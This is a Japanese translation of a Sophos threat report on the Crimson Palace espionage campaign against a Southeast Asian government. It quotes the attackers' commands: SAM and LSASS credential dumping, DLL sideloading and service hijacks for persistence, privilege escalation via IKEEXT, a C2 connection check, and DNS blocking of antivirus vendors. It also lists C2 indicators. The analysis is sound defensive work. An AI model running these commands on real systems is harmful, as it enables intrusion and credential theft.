palace in china
脅威の調査

** 本記事は、Operation Crimson Palace: A Technical Deep Dive の翻訳です。最新の情報は英語記事をご覧ください。**

Sophos Managed Detection and Response は、あるお客様のネットワークにおいて、脆弱性のある正規 VMware 実行ファイル (vmnat.exe) が悪用され、ダイナミックリンクライブラリ (DLL) のサイドローディングが行われたのを検出したことを受けて、すべてのお客様を対象に脅威調査を開始しました。テレメトリで類似インシデントを調査する中で、MDR は最終的に、東南アジアの政府組織を標的とした複雑かつ継続的なサイバースパイキャンペーンを発見しました。本レポートの第 1 部で説明したように、少なくとも 2023 年 3 月から 2023 年 12 月にかけて、この組織のネットワークに少なくとも 3 組の異なる脅威活動クラスタが存在したことが確認されました。

この 3 組の脅威活動クラスタ (Alpha (STAC1248)、Bravo (STAC1870)、Charlie (STAC1305) と命名) は、中国の国益のために活動しているとほぼ断定できます。レポートの第 2 部 (本記事) では、このキャンペーンで使用された戦術、手法、手順 (TTP) を含む 3 組の脅威活動クラスタについて、可能な限り脅威活動クラスタごとにより詳細な技術的分析をお届けします。また、このキャンペーンに関連していると思われる、標的組織内での過去の侵害に関する技術的詳細も提供します。

図 1: Crimson Palace の調査で明らかになった 3 組の脅威活動クラスタの特徴および重複点を示すベン図 (既知の攻撃グループとの関連を含む)。

 

目次

以前の侵害

Cluster Alpha (STAC1248)

Cluster Bravo (STAC1870)

Cluster Charlie (STAC1305)

セキュリティ侵害の痕跡 (IoC)

 

以前の侵害

初期アクセスは、標的となった組織内においてソフォスによる監視の範囲外で発生しましたが、関連する活動の証拠が 2022 年初頭まで遡って確認されたため、攻撃者はネットワーク内の管理されていない資産に長年アクセスしていた疑いがあります。

2022 年 3 月 NUPAKAGE の検出

2022 年 3 月の PowerShell スクリプトブロックのログによると、攻撃者は check.exe を使用して、2021 年 1 月 1 日以降に変更された特定のファイルタイプを収集していました。このバイナリは、グループポリシーオブジェクト (GPO) のパス「SYSVOL」から「C:\Users\Public」にコピーされ、実行後に削除されました。

分析の結果、SophosLabs は check.exe が NUPAKAGE ツールであることを特定しました。NUPAKAGE ツールは、中国の脅威グループ Earth Preta (CrowdStrike の Mustang Panda と重複) に帰属すると Trend Micro 社が公表しています。ソフォス製品は、この活動を Troj/Steal-BLP として検出します。

'C:\users\public\check.exe 20210101 "txt;doc;docx;xls;xlsx;pdf'

2022 年 12 月 DLL のつなぎ合わせを利用したインシデント

ソフォスの MDR サービスにエンドポイントの一部を登録したところ、これらのエンドポイントで不審な活動が複数検出されたため、調査を開始しました。その 1 つとして、2022 年 12 月には、DLL をつなぎ合わせて標的のドメインコントローラーに 2 つの悪意のあるバックドアを難読化・展開する侵入行為が調査されました。攻撃者は 2 つの DLL (swprvs.dllappmgmt.dll) を作成し、レジストリ内の正規のシャドウコピープロバイダーサービスとアプリケーション管理サービスの DLL パスを置き換えました。正規の swprv.dll はファイル名に「s」が追加され、正規の appmgmts.dll はファイル名から「s」が削除されました

cmd.exe /Q /c reg add HKLM\SYSTEM\CurrentControlSet\Services\swprv\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "%SystemRoot%\system32\swprvs.dll" /f 1> \\127.0.0.1\ADMIN$\__<redacted>.399847 2>&1

攻撃者は正規ファイルを装った appmgmt.dll のサイズを調整するために、Impacket を使用して、オープンソースの多機能プロキシツールである Stowaway (msoe.dll) を、「system32」ディレクトリの「d」で始まるすべての DLL とつなぎ合わせました。その結果、90 件以上の実行可能ファイルが 1 件の DLL に次々につなぎ合わされました。

cmd.exe /Q /c copy /b c:\windows\temp\msoe.dll +c:\windows\system32\d*.dll c:\windows\temp\appmgmt.dll 1> \\127.0.0.1\ADMIN$\__<redacted> 2>&1“.
図 2: 正規ファイルを装った appmgmt.dll のエクスポート

swprv.dll の作成は直接には観測されませんでしたが、静的分析によると、この DLL は、ファイルの読み書きや C2 通信の確立といった基本機能を持つ悪意のある RAT (lib.dat) を含むもので、およそ 120 件の実行可能ファイルがつなぎ合わされていました。SophosLabs のアナリストは、このツールが RC4 アルゴリズムを使用して、マルウェアで使用されるファイルの暗号化および復号を行っていることを突き止めました。

図 3: swprv.dll サンプルをリバースエンジニアリングして得られたソースコード。基本的な RAT コマンドが確認できます。

この際、つなぎ合わされた DLL ペイロードを検出するため、Troj/Backdr-NXATK/Stowaway-C という検出がソフォスのお客様全体に展開され、Windows レジストリへのサービス DLL の追加を検出するための動作検知プログラムが作成されました。

これら過去のイベントに関連するセキュリティ侵害の痕跡 (IoC) は、ソフォスの GitHub ページでご確認いただけます。

Cluster Alpha (STAC1248)

 

認証情報へのアクセス:

SAM レジストリハイブのダンプ

3 月 6 日に、侵害された管理者アカウントが管理されていない資産からドメインコントローラーに接続するために使用されました。接続に成功すると、攻撃者は一般的な手法である「reg save hklm\sam sam」を使用して認証情報を取得し、Security Accounts Manager (SAM) レジストリハイブを標的にしました。

認証情報ダンプの試み

侵入の後半、攻撃者は「C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry」というコマンドを用いてリモートレジストリのダンプを試みましたが、出力されたファイル (C:\Windows\System32\PrIwouGs.tmp) はソフォスエージェントによって直ちに削除されました。Sophos MDR は 8 月、名前を変更した Process Explorer (p64.exe) を使用して、さらに多くの認証情報を収集しようとする試み (「p64.exe -accepteula -ma lsass.exe 1.dmp」) を観測しました。この試みは再度ソフォスによってブロックされました。

探索:

ドメイン列挙

2023 年 3 月中旬に、この攻撃者が有効な管理者認証情報を使用し、主にドメインの列挙を目的としてドメインコントローラーの検出を実行するのが観察されました。

  • Net group /domain
  • Net group “domain admins” /domain
  • Net group “domain controllers” /domain
  • Nltest /domain_trusts
  • Net session
  • Net use \\<IP>
  • Net user sophos
  • Net user sophos /domain

さらに 5 月には、複数のドメインコントローラーにまたがる特定のドメインと DNS レコードの列挙を目的とするコマンドが実行されました。列挙により、攻撃者は管理者権限を持つユーザーと認証に使用されるシステムを即座に特定できます。ソフォスは、異なるドメインコントローラー上で同時に Cluster Alpha の活動を観測しました。この活動は、各ドメインコントローラーから独立して情報を収集するという包括的なアプローチを示しています。

  • Net localgroup administrators
  • dnscmd . /EnumRecords <ドメイン名>
  • dsquery server
  • dsquery * “CN=Configuration,DC=<編集により削除>,DC=local” -Filter “(objectcategory=msExchExchangeServer)”
  • dnscmd . /EnumRecords <ドメイン名>
  • dnscmd . /EnumZones

PowerShell スクリプト

この攻撃者はさらに、Get-UserLogonGet-EventLog などの PowerShell モジュールを活用し、より隠密性の高い方法で発見した情報を列挙しました。この手法を用いた偵察の範囲は、5 月には管理者ユーザーに限定されていましたが、6 月にはより多くのユーザーに拡大されました。

イベントID 4624 のイベントをキャプチャし、特定のフォーマットで一覧化することで、攻撃者は標的のアカウントがアクセス可能なシステムの確認を試みていたと考えられます。コマンドの出力結果は、一時ディレクトリに位置する MicrosoftUpdate.dat rsc.dat に保存されました。

cmd.exe /C powershell -command "Get-UserLogon -all|out-file C:\Users\<redacted>\AppData\Local\Temp\MicrosoftUpdate.dat" > C:\Windows\Temp\swqEqUBj.tmp 2>&1
cmd.exe /C powershell.exe -exec bypass -Command " Get-EventLog -LogName Security -After '2023/03/01 00:00' | Where-Object {$_.eventid -eq 4624 -and $_.Message-like '*<redacted>*'} | Format-List|out-file -filepath C:\Users\<redacted>\AppData\Local\Temp\MicrosoftUpdate.dat" > C:\Windows\Temp\BBXJcedO.tmp 2>&1

この種の探索を試みる間に、攻撃者はツールや偵察の出力結果を速やかにクリーンアップしました。

cmd.exe /C del /q "C:\Program Files\WindowsPowerShell\Modules\Get-UserLogon\Get-UserLogon.psm1" > C:\Windows\Temp\nTJTUUlN.tmp 2>&1
cmd.exe /C del /q C:\Users\<redacted>\AppData\Local\Temp\MicrosoftUpdate.dat > C:\Windows\Temp\sFfOvAwR.tmp 2>&1

データのコレクション化とステージング

内部の探索により得られたデータの大規模なコレクションを転送する準備として、攻撃者は名前を変更した WinRAR コマンドラインツール (winsc.exe) を使ってデータを圧縮しました。

cmd.exe /C C:\Users\<redacted>\AppData\Local\Temp\winsc.exe a C:\Users\<redacted>\AppData\Local\Temp\rsc.dat C:\Users\<redacted>\AppData\Local\Temp\MicrosoftUpdate.dat > C:\Windows\Temp\YnlIdMii.tmp 2>&1

ラテラルムーブメント:

net use と wmic

3 月と 4 月のラテラルムーブメントでは、攻撃者は従来の net use コマンドと wmic コマンドを用い、有効なアカウントを経由して他のマシンに移動しました。

net use \\172.27.<redacted>
wmic  /node:"172.27.<redacted>"   /user:"<redacted>"   /password:"<redacted>"   process call create "c:\programdata\vmnat\vmtools\vmnat.exe"

この攻撃者は、ドメインとユーザー名を区別しようと、認証の際に誤ってスラッシュ (「/」) を入力したため、その後のラテラルムーブメントが一時的に停止していました。そのためソフォスは、この攻撃が自動化されていない活動であることを確信しています。後の事例では、攻撃者が自らのマシンのドメインを誤って認証情報に追加していました。

その後すぐに、攻撃者は利用する認証情報を別のものへと切り替えました。侵害した認証情報が無効化されたと攻撃者が誤認したためだと考えられます。結果的に、MDR の脅威ハンティングチームは侵害されたアカウントをさらに特定できました。

RDP、Impacket、および PSEXEC

また、Cluster Alpha では、リモートセッションからデータをカットアンドペーストする rdpclip 機能など、リモートデスクトッププロトコル (RDP) の活動も観測されました。4 月に始まり、5 月に入ってからは攻撃者はより高い頻度でリモートでのコマンド実行に Impacket モジュールである atexec smbexec を使用しました。また、bypassrpc.exe という名前に変更された PSEXEC もリモート実行に使用しようとしましたが、この活動はソフォスのエージェントによってブロックされました。

常駐化/権限昇格:

レジストリキーの作成

3 月に正規の vmnat.exe (Vmware NAT サービス) のコピーを展開した後 (最初の脅威ハンティングのきっかけとなった攻撃パターンです)、攻撃者がレジストリキーを使用して常駐化するのが確認されました。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vmnattools\Parameters /v Application /t REG_SZ /d c:\programdata\microsoft\vmware\vmnat\vmtools\vmnat.exe /f
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vmnattools\Parameters /v AppDirectory /t REG_SZ /d c:\programdata\microsoft\vmware\vmnat\vmtools /f

サービスの作成 – INSTSRV.EXE および Srvany.exe を介した Vmnat

攻撃者は、2 件の一般的でない LOLBin (instsrv.exe srvany.exe) を連結して、侵害された vmnat.exe を使用するサービスを作成し、システムレベルの権限で常駐化を行いました。

c:\programdata\microsoft\vmware\vmnat\vmtools\instsrv.exe vmnattools c:\programdata\microsoft\vmware\vmnat\vmtools\srvany.exe

Windows サービスの悪用

また、Sophos MDR の脅威ハンターは、Cluster Alpha の攻撃者が IKEEXT サービスの権限変更を通じて、権限の昇格を試みるのを繰り返し確認しています。最初の試みは 6 月に発生したもので、PhantomNet インプラント (sslwnd64.exe) が悪意のあるファイル wlbsctrl.dllTSVIPSrv.dll を作成した後、svchost.exe によってロードされるように「System32」ディレクトリに移動しました。同時に、このインプラントは SessionEnv サービスと IKEEXT サービスを再起動するコマンドセッションを生成しました。その後、これらのサービスはそれぞれ <wlbsctrl.dllTSVIPSrv.dll をロードしました。サービスが再起動されると、レジストリ内の IKEEXT サービスの権限を変更するコマンドが実行されました。

1 週間後、攻撃者はバッチファイル (setup.bat) を起動し、TSVIPSrv.dll の異なるバージョンをディスクに展開し、「C:\Windows\SysWOW64」に移動しました。同様の手順で、setup.bat は IKEEXT サービスを停止・開始し、レジストリ内の IKEEXT の権限を変更しました。

Net stop IKEEXT
reg add hklm\SYSTEM\CurrentControlSet\Services\IKEEXT /v RequiredPrivileges /t REG_MULTI_SZ /d SeAuditPrivilege\0SeBackupPrivilege\
0SeRestorePrivilege\0SeTakeOwnershipPrivilege\0SeImpersonatePrivilege\0SeTcbPrivilege\0SeAssignPrimaryTokenPrivilege\0SeManageVolumePrivilege\
0SeCreateSymbolicLinkPrivilege\0SeShutdownPrivilege /f
sc config IKEEXT  Start= auto
sc config IKEEXT  obj= LocalSystem
net start IKEEXT
C:\Windows\system32\net1 start IKEEXT

この方法で DLL をロードすることで、IKEEXT サービスを EAGERBEE マルウェアの新しい亜種 (strong>wlbsctrl.dll および TSVIPSrv.dll) に感染させました。レジストリキーの追加により、感染したサービスにさらに不正な権限が付与されました。具体的には、攻撃者は SeBackupPrivilegeSeRestorePrivilege、および SeTakeOwnershipPrivilege を含む一連のトークン特権を呼び出しました。この呼び出しにより、ACL や所有権に関係なく、システム上のあらゆるファイルへの読み取りと書き込みのアクセス制御が可能になります。攻撃者はこれらの権限を悪用し、SAM レジストリハイブおよびすべてのファイルのバックアップを取得しました。その中には管理者のハッシュも含まれます。また、SeTcbPrivilegeも呼び出されました。この権限により、プロセスレベルのアクセストークンが変更され、認証情報を知らなくても他のユーザーのなりすましが可能になります。

コマンドアンドコントロール (C2):

Merlin C2 Agent のサイドロード

ソフォスは、攻撃者が Golang で書かれたオープンソースの C2 ツールを展開した 3 月に、Cluster Alpha で使用された最初の常駐化メカニズムを観測しました。このペイロードを展開するために、攻撃者は正規バージョンの vmnat.exe を悪用して SHFOLDER.dll をサイドロードし、Merlin C2 エージェントを vmnat.dll としてロードしました。注目すべきことに、今回確認された一連のサイドロードは、BackdoorDiplomacy として追跡されている中国の脅威グループによる Merlin エージェントの展開についてのレポートに記載されているプロセスに酷似しています。

SophosLabs の分析によると、SHFOLDER.dll には mfcexport.dll というこのマルウェアに固有の DLL エクスポート名があり、SHGetFolderPathW 関数がエクスポートされているようです。興味深いことに、SHFOLDER.dllSHGetFolderPathW 関数は悪意のある vmnat.dllInitGadgets エクスポートを呼び出すためにのみ実行されるため、SHFOLDER.dll が正規の API コール (shim) を傍受し、悪意のある DLL にリダイレクトするために使用されているとソフォスは確信しています。

vmnat.dll は呼び出されると、InitGadgets を使用して setDesktopMonitorHook 関数を呼び出し、追加のペイロードをメモリにデコードする前に cloud.keepasses[.]com ドメインとの通信を確立します。vmnat.dll ファイルの末尾近くでは、開始マーカー「0x5345?」を持ち、DES CBC 暗号化で暗号化されたコンフィギュレーションブロックに C2 URL が時間値とともに付加されています (https://cloud.keepasses[.]com:443;29s)。また、同梱の Go SSL ライブラリには独自の DES 復号ツールが含まれているにもかかわらず、OpenSSL の Go 実装と独自のカスタム DES 復号ツール (中国で一般的に使用されているもの) の両方が含まれていました。

Figure 4: Diagram showing deployment and execution of Merlin C2 Agent
図 4: Merlin C2 Agent の展開と実行を示す図

Quarian バックドアローダー展開の試み

4 月に、この攻撃者が正規の実行ファイル mobpopup.exe (winsecunicity.exe に改名されていました) を悪用して悪意のある DLL (pc2msupp.dll) をサイドロードするのが確認されました。この展開手法は、Backdoor Diplomacy に関する BitDefender の上述のレポートで説明されている、Quarian バックドアをサイドロードするプロセスにも似ています。しかし、ソフォスのエンドポイント保護エージェントが実行前に悪意のあるファイルを削除していたため、Quarian バックドアが最終的なペイロードとして意図されたものであるかどうかは確認できませんでした。

RUDEBIRD / Impersoni-Fake-Ator マルウェア

Quarian のサイドロードが試行された2日後、Sophos MDR の脅威ハンターは、SysInternals ZoomIt Screen Magnifier Utility の正規バージョンに埋め込まれたマルウェアが実行されるのを確認しました。分析の結果、SophosLabs はこのサンプルが正規のアプリケーションにマルウェアを埋め込む既知のマルウェアファミリ 2 種類(RUDEBIRDImpersoni-Fake-Ator) と重複しているのを発見しました。

このマルウェアを展開するために、攻撃者は正規の Sysinternals 実行ファイルの冒頭のコードセクションを悪意のあるコードで上書きしました。このファイルは「C:\Windows\SysWOW64\setup\MSI64.EXE」として実行されます。回収されたマルウェアは高度に難読化されたサンプルで、Windows API 関数を秘密裏に解決するためにプロセス環境ブロック (PEB) を動的に解析するものでした。このマルウェアは、「0x21 と ADD の乗算」の API ハッシュアルゴリズムを使用して、どの Windows API コールを解決して実行しようとしているかを難読化します。

A screenshot of the API hashing function of RUDEBIRD malware sample (MSI64.exe)
図 5: RUDEBIRD (MSI64.exe) の API ハッシュアルゴリズム

MSI64.exe のペイロードは LZNT1 で圧縮され、XOR でエンコードされた別々の blob にステージングされます。最初の blob は、C2 につながる 2 件 の IP (195.123.247[.]50185.195.237[.]123) を含む構成でした。もう 1 つの blob は、動的に解決される RtlDecompressBuffer API を使用して解凍され、実行される最終的なペイロードのシェルコードです。シェルコードをリバースエンジニアリングしたところ、ペイロードの多くの機能が明らかになりました。以下はその一部です。

図 6: リバースエンジニアリングされた MSI64.exe 関数のサンプル

リバースエンジニアリングされた MSI64.exe 関数のサンプル MSI64.exe のサンプルには、公開 API ハッシュアルゴリズム、「VV.0」ミューテックスの作成、および C2 IP 185.195.237[.]123 が含まれていました。これらは Elastic 社による RUDEBIRD マルウェアの説明と合致しています。一方、リバースエンジニアリングにより、このサンプルの C2 コマンドの機能が Impersoni-Fake-Ator マルウェアが使用するドキュメント化された C2 コマンドと重複していることも明らかになりました。Impersoni-Fake-Ator マルウェアは BitDefender によって解説されています。 入手可能なデータを分析した結果、RUDEBIRD と Impersoni-Fake-Ator のマルウェアファミリは非常に近い関係にあるか、同一である可能性が示唆されます。そのため、今回のキャンペーンで利用された MSI64.exe サンプルは、いずれかまたは両方のマルウェアファミリの新しい亜種である可能性が非常に高いと考えられます。

図 7: リバースエンジニアリングされた MSI64.exe の一部分。受信した C2 コマンドの機能を示します。

エンドポイント保護ベンダーのソフトウェアの悪用

キャンペーンのどの段階においても、Cluster Alpha の攻撃者は悪意のあるペイロードをサイドロードするためにエンドポイント保護ソフトウェアのバイナリを頻繁に悪用していました。4 月、ソフォスの脅威ハンターは、攻撃者が Microsoft によって署名された Windows Defender のバイナリ (MpUXsrv.exe) を実行することで悪意のある DLL (mpclient.dll) のサイドロードを試み、失敗したことを確認しました。ペイロードはソフォスのエンドポイント保護によって削除されていました。

数か月後、この攻撃者は、usysdiag.exe (ph.exe に改名されていました) と呼ばれる、中国のマルウェア保護ソフトウェア会社 Beijing Huorong Network Technology Co. に関連するアプリケーションを悪用し、悪意のある DLL (SensAPI.dll) をサイドロードしました。実行されると、ph.exe は SensAPI.dll をサイドロードし、dllhost.exe を生成しました。dllhost.exe は攻撃者の IP 139.162.18[.]97 にアウトバウンド接続を行った後、5 分以内に ph.exeSensAPI.dll を削除しました。その結果、dllhost.exe に生成された攻撃者 IP への C2 セッションが残り、ソフォスの検出 EQL-WIN-EXE-PRC-PERFLOGS-1 によってフラグが立てられました。

PhantomNet のロード

ソフォスは、Cluster Alpha において、異なる時刻にシステムにロードされた PhantomNet バックドアの異なるサンプル 3 件 (ファイル名: sslwnd64.exeoci.dllnethood.exe) を観測しました。PhantomNet (別名 SManagerDOWNTOWN) は、被害者の情報を収集し、悪意のあるプラグインをインストールするシンプルなバックドアで、以前は中国の APT TA428 に帰属するとされていました。

この侵入を通じて、Cluster Alpha の攻撃者は、PhantomNet インプラント、特に sslwnd64.exe サンプルを利用して C2 通信を確立し、追加のペイロードをロードしました。3 件のサンプルはすべて、類似したコードと埋め込まれた OpenSSL コンポーネントを含んでており、その構成とプログラムデータベース (PDB、情報のデバッグに使用されます) のパスは、2023 年 6 月に Group-IB Threat Intelligence によって報告された PhantomNet のサンプルと類似しています。

Oci.dll の PDB パス:

E:\2023 LTL\2023DM\20221206NewWakeUp_V4.0\_OUT\LoadWin32_x64.pdb

Sslwnd64.dll および nethood.dll の PDB パス:

E:\20220501\TTT_SharpArrow 7.4\2022LTL\20220618\20220915NewWakeUp_V1.0\_OUT\LoadWin32_x64.pdb
PhantomNet sample (sslwnd64.exe) configuration containing C2 IPs associate.feedfoodconcerning[.]info & associate.freeonlinelearningtech[.]com

図 8: C2 IP associate.feedfoodconcerning[.]info および associate.freeonlinelearningtech[.]com を含む PhantomNet のサンプル (sslwnd64.exe) の構成

SophosLabs の分析により、バックドアのサンプルは zlib で圧縮された OpenSSL DLL をリソースディレクトリ TTT に含み、その構成ブロックはキー「L!Q@W#E$R%T^Y&U*A|}t~k」を使用して RC4 で暗号化されていることが明らかになりました。メインローダーは DLL のペイロードを復号してロードした後、暗号化されたコンフィギュレーションアドレスを渡すことで C2 通信を実行する「Start」エクスポートを呼び出します。

Reverse engineered code block showing decryption and loading of PhantomNet DLL payload and calling ‘Start’ export
図 9: PhantomNet (sslwnd64.exe) のサンプルをリバースエンジニアリングして得られたコードブロック。PhantomNet DLL ペイロードの復号とロード、および「Start」エクスポートの呼び出しを示しています。

PhantomNet の亜種 「oci.dll」

oci.dll は転送されたエクスポートで explorerframe.dll になりすますため、DLL のサイドローディングで使用される可能性があるという特徴を持っています。

PhantomNet malware sample (oci.dll) forwarder exports
図 10: PhantomNet マルウェアのサンプル (oci.dll) のエクスポートの転送

Oci.dll のサンプルを展開する際、攻撃者は Microsoft Distributed Transaction Coordinator (MSDTC) サービスが使用する SOCKS プロキシを作成しましたが、MSDTC.exe が悪意のある DLL をマッピングする際に誤った Windows ディレクトリに移動したため、サイドロードに苦心しました。それにもかかわらず、この攻撃者は他のサーバー上で oci.dll をサイドロードするのに成功しました。ソフォスはその 1 か月後、SOCKS プロキシが複数の攻撃者の C2 に接続しているのを確認しました。用いられた C2 IP は 104.21.3[.]57 172.67.130[.]71、185.82.217[.]164195.123.245[.]79 です。

その後、この攻撃者は、既知の DLL ハイジャックの手法であるファントム DLL サイドローディングを試みていることが確認されました。悪意のある oci.dll を MSDTC サービスの実行ファイルが読み込むロケーション (通常はこの DLL ファイルが存在しないロケーション) に置くことで、サービスが停止し、ローカルの SYSTEM アカウントから再起動された際に悪意のあるコードが呼び出されました。

cmd /c move oci.dll c:\windows\system32\
net stop msdtc
sc config msdtc obj= LocalSystem
net start msdtc

Sophos MDR はさらに、この攻撃者が有効なアカウントを使用して sslwnd64.exe を作成し、バックドアを実行して攻撃者 IP 185.167.116[.]30 への C2 通信を確立したことも確認しています。この IP は RUDEBIRD マルウェアの攻撃者に利用されたものと同じです。

PowHeartBeat バックドア

同じ頃、Cluster Alpha の攻撃者は、異なる手法を用いて PowHeartBeat バックドアを展開し、現在はデータ窃取用のドメインとして知られている msudapis[.]info への短時間の接続を確立しました。PowHeartBeat は、バックドア機能を隠蔽するさまざまな難読化コードを含む、十全な機能を備えた PowerShell バックドアです。

Diagram showing different techniques used to deploy the PowHeartBeat backdoor

図 11: PowHeartBeat バックドアの展開に使用されるさまざまな手法を示す図。最初のインスタンスでは、VMNat.exe がコマンドセッションを生成し、「C:\ProgramData\Microsoft\Vault\1.bat」を実行して、PowHeartBeat バックドアコードを含む PowerShell スクリプト (1.ps1) を実行するのが確認されました。このスクリプトは実行されると、443 番ポート経由で msudapis[.]info に接続し、「C:\Windows\Temp\ba0oddof\ba0oddof.dll」をコンパイルし、ネットワーク通信を 24 時間継続して行います。

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\ba0oddof\ba0oddof.cmdline" >> C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESC412.tmp" "c:\Windows\Temp\ba0oddof\CSC3B1CFE4783554F8C923D8821BA1B281A.TMP"

その 2 週間後、Sophos MDR の脅威ハンターは、PowHeartBeat バックドアのインプラントを含む SophosUD.exe が実行される前に、VMNat が同じドメイン (msudapis[.]info) の PowerShell TCP リスナーを起動し、C2 接続を確認しようとしているのを観測しました。

cmd /c powersh ||| ell -e <Encoded PowerShell> [443 | % {echo ((new-object Net.Sockets.TcpClient).Connect(&quot;www.msudapis.info&quot;,$_)) $_&quot; is open!&quot;} 2&gt;$null]

この事例では、攻撃者は PowerShell スクリプトを直接実行する代わりに、Reactor を使用して難読化した .NET 実行ファイル (SophosUD.exe) を、AES で暗号化された PowerShell スクリプトのローダーとして使用しました。このスクリプトは、2 週間前に実行された 1.ps1 スクリプトと同じ機能、CSC コンパイル、送信ドメインを示していました。このバックドアは実行されると、約 11 分後に強制終了されるまでに、 154.39.137[.]29 (msudapis[.]info ドメインをホスト) への直接 IP 通信を生成し、pdzaix2o.dll を作成する CSC コンパイルを実行しました。

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\pdzaix2o\pdzaix2o.cmdline" >> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES36E9.tmp" "c:\Windows\Temp\pdzaix2o\CSCEA37B09CA2D74FFF8466F6A728682F11.TMP"

SophosLabs はこの悪意のある動作の検出のため、Troj/PwrHBeat-A および Troj/PowerSh-J という検出を実装しました。

図 12: SophosUD.exe の main 関数をデコードした結果 (SophosUD.exe を逆コンパイルした C# コード)
Figure 13: SophosUD.exe Decoded PowerShell Script
図 13: SophosUD.exe をデコードして得られた PowerShell スクリプト

2 か月後、この攻撃者は別の PowHeartBeat サンプル (SophosUD2.exe) を配信しようとしましたが、そのバイナリは Mal/Generic-S という検出により、ソフォスのエージェントによってブロックされました。このサンプルでは、バックドアの埋め込まれた base64 スクリプトに C2 IP 147.139.47[.]141 が確認されました。

防御回避

EAGERBEE マルウェアの新しい亜種

Cluster Alpha では複数の回避手法が観測されましたが、最も注目すべきは、Elastic Security 社が 2023 年 10 月に初めて報告した中国系マルウェアである EAGERBEE の新しい亜種に関するものでした。Elastic は、観測された EAGERBEE のサンプルの洗練度が低いことを指摘していましたが、ソフォスが観測した亜種は、このマルウェアが大幅にアップグレードされたことを示しています。具体的には、ソフォスが観測したサンプル (TSVIPSrv.dll および wlbsctrl.dll) は、ネットワークパケットを変更し、侵害されたシステムとマルウェア保護ポリシーサーバーやクラウドベースの検出機能との通信を妨害するという新しい機能を有していました。

IKEEXT および SessionENV サービスに感染するためにファントム DLL ハイジャックを使用し、6 月に初めてシステムにロードされた TSVIPSrv.dll wlbsctrl.dll は、主に以下の点などで EAGERBEE に関する Elastic の分析と構造的に大きく重複していることが SophosLabs によって確認されました。

  • IP:PORT 構造の一致
  • 暗号化された構成を含む mui への同一の参照
  • HTTP リクエスト文字列の「CONNECT」の代わりに「DONNECT」を用いるという同一の誤植
Figure 14: Iconcache configuration from observed TSVIPSrv.dll sample
図 14: TSVIPSrv.dll サンプルの Iconcache 構成
Figure 15: Screenshot of EAGERBEE malware configuration from Elastic Security
図 15: Elastic Security による EAGERBEE マルウェアの構成のスクリーンショット
Figure 16: HTTP Request String containing DONNECT typo from observed TSVIPSrv.dll sample
図 16: 観測された TSVIPSrv.dll サンプルの一部。HTTP リクエスト文字列内に「DONNECT」という誤植を含んでいます
Figure 17L: Screenshot of EAGERBEE HTTP request string from Elastic Security
図 17: Elastic Security による EAGERBEE の HTTP リクエスト文字列のスクリーンショット

高度に難読化された各 DLL において、攻撃者はPE (Portable Executable) ヘッダーの一部を変更し、解凍ツールのシェルコードに独自の PE ローダーを使用することで、解析を妨げようとしました。このローダーは EAGERBEE ペイロードを解凍して実行し、2 件の WinDivert バイナリ (WinDivert.DLLWinDivert.sys) をインストールします。

WinDivert は、キャプチャ、改ざん、ブロック、および再インジェクション機能を搭載した、Windows 用の強力なユーザーモードパッケージです。しかし、展開された WinDivert.DLL には、元のソースコードとは異なる、追加の修正が加えられていました。

実行されると、WinDivert.DLL は新しいスレッドを作成し、UDP ポート 53 への送信トラフィックを監視します。このマルウェアは UDP ポート 5 のトラフィックをフィルタリングしているとアナリストに誤解させるために、コード内にハードコードされた文字列「udp.DstPort == 5’」を含んでいますが、ポート 53 の DNS トラフィックをフィルタリングするために、その後に「3」が追加されています。

Reverse engineered code block assembling port 53 UDP filter and calling WinDivert
図 18: リバースエンジニアリングされたコードのうち、ポート 53 UDP フィルターを組み立て、WinDivert を呼び出す部分。
Figure 19: Diagram showing function of the observed updated EAGERBEE variants
図 19: 改変された EAGERBEE 亜種の機能を示した図

DNS トラフィックをフィルタリングする間、WinDivert ドライバーは、ESET、Microsoft、Mcafee、Trend、および DrWeb に関連するドメインなど、指定されたマルウェア保護ベンダー関連のサブ文字列のリストを監視します。このドライバーは、生の DNS データに指定された部分文字列が含まれていることを検出すると、パケットヘッダーをゼロで上書きすることで DNS の解決を効果的に防止し、これらのサーバーとの通信を無効化します。基本的に、この動作によってマルウェアは DNS パケットを転送前に読み取り、変更し、システムがマルウェア保護ベンダーのサーバーと通信するのを妨げます。

図 20: TSVIPSrv.dll に組み込まれた WinDivert ドライバーに記載されているマルウェア保護ベンダーの文字列の一覧

ソフォスは WinDivert ドライバー内の文字列を特定するためのオープンソースの調査に基づき、観測された EAGERBEE マルウェアが以下のアンチウイルスベンダードメインへのネットワーク通信の妨害を目的としていたことに一定の確信を持っています。

確認された文字列 完全なドメイン名 機能
Checkappexec.mic Checkappexec.microsoft.com Windows Defender SmartScreen のレポートと通知。これらのエンドポイントのトラフィックをオフにすると、SmartScreen の通知が無効になる
networkdevice.sc networkdevice.scanners.eset.system ESET ネットワークトラフィックスキャナー
Ortex.dat vortex.data.microsoft.com | vortex.data.microsoft.com.akadns.net Microsoft テレメトリドメイン
Ksn-a ksn-a-stat-geo.kaspersky-labs.com | ksn-a-p2p-geo.kaspersky-labs.com Kaspersky Security Network サービス
Alprotect1.m realprotect1.mcafee.com クラウドベースの McAfee スキャン
on.ccs.mcaf provision.ccs.mcafee.com McAfee SafeConnect
Cloud.gti.mc cloud.gti.mcafee.com McAfee Endpoint Security (ENS)
Protect1.mca realprotect1.mcafee.com クラウドベースの McAfee スキャン
adownload.mcaf sadownload.mcafee.com McAfee セキュリティ製品のアップデートサイト
.c.eset a.c.eset.com | i1.c.eset.com ESET LiveGrid
edf.eset edf.eset.com ESET データフレームワーク (Anti-Theft、ESET Business Account、ペアレンタルコントロール、Web コントロール)
Ts.eset ts.eset.com ESET Threat Lab (不審なファイルおよび匿名の統計情報の検出)
Tscreen.micros ts.eset.com Microsoft Defender Smartscreen
sn-verdi ksn-verdict-geo.kaspersky-labs.com Kaspersky Security Network サービス
